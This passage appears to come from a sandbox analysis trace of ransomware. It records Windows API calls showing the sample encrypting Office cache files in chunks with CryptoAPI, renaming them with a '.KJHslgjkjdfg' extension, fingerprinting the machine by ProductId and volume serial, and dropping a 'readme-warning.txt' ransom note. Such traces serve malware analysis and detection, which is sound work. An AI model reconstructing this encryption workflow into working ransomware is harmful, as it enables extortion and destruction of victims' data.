dwFlags=0x0) returned 1 [0155.859] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.859] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.864] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.868] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.868] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.869] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.869] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.869] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.869] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.873] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.876] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.876] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.877] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.877] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.877] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7a1dd0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.877] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0155.879] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0155.882] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7a1dd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.882] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0155.883] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.883] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0155.883] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.883] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.883] SetEndOfFile (hFile=0x124) returned 1 [0155.887] GetProcessHeap () returned 0x990000 [0155.887] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0155.887] GetProcessHeap () returned 0x990000 [0155.887] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.887] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.kjhslgjkjdfg")) returned 1 [0155.888] CloseHandle (hObject=0x124) returned 1 [0155.888] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0155.888] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.889] GetProcessHeap () returned 0x990000 [0155.889] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.889] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.889] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0155.889] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.890] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.890] GetProcessHeap () returned 0x990000 [0155.890] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0155.890] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0155.890] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.890] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0155.891] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0155.891] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0155.892] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0155.892] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.892] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0155.892] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0155.892] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.892] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.892] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x750, lpOverlapped=0x0) returned 1 [0155.892] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x750, dwBufLen=0x750 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x750) returned 1 [0155.892] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.892] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x750, lpOverlapped=0x0) returned 1 [0155.892] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.893] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.893] SetEndOfFile (hFile=0x124) returned 1 [0155.895] GetProcessHeap () returned 0x990000 [0155.896] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0155.896] GetProcessHeap () returned 0x990000 [0155.896] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0155.896] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0155.897] CloseHandle (hObject=0x124) returned 1 [0155.897] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0155.897] GetProcessHeap () returned 0x990000 [0155.897] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.897] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.897] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0155.897] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.897] GetProcessHeap () returned 0x990000 [0155.897] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0155.897] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.897] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0155.897] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.897] GetProcessHeap () returned 0x990000 [0155.897] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0155.898] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.898] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0155.898] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.898] GetProcessHeap () returned 0x990000 [0155.898] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0155.898] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.898] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0155.898] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.898] GetProcessHeap () returned 0x990000 [0155.898] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0155.898] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.898] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0155.898] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.898] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0155.898] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0155.898] RegCloseKey (hKey=0x124) returned 0x0 [0155.899] GetProcessHeap () returned 0x990000 [0155.899] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0155.899] GetProcessHeap () returned 0x990000 [0155.899] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0155.899] GetProcessHeap () returned 0x990000 [0155.899] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0155.899] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0155.899] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0155.899] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.899] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0155.899] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0155.899] GetProcessHeap () returned 0x990000 [0155.899] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0155.899] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0155.899] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0155.900] GetProcessHeap () returned 0x990000 [0155.900] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0155.900] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0155.900] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.900] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0155.901] CloseHandle (hObject=0x124) returned 1 [0155.901] GetProcessHeap () returned 0x990000 [0155.901] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0155.902] GetProcessHeap () returned 0x990000 [0155.902] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0155.902] GetProcessHeap () returned 0x990000 [0155.902] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0155.902] GetProcessHeap () returned 0x990000 [0155.902] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0155.902] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0155.902] GetProcessHeap () returned 0x990000 [0155.902] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0155.902] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0155.902] GetProcessHeap () returned 0x990000 [0155.902] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0155.902] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0155.906] GetProcessHeap () returned 0x990000 [0155.906] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0155.906] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0155.906] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0155.906] GetProcessHeap () returned 0x990000 [0155.906] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0155.906] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0155.908] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=4095519) returned 1 [0155.908] GetProcessHeap () returned 0x990000 [0155.908] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0155.908] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0155.908] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.908] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x1, lpOverlapped=0x0) returned 1 [0155.911] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.911] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.911] GetProcessHeap () returned 0x990000 [0155.911] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0155.911] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0155.911] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0155.911] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0155.911] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0155.911] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0155.911] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0155.911] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0155.911] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0155.912] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0155.912] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0155.912] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0155.912] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 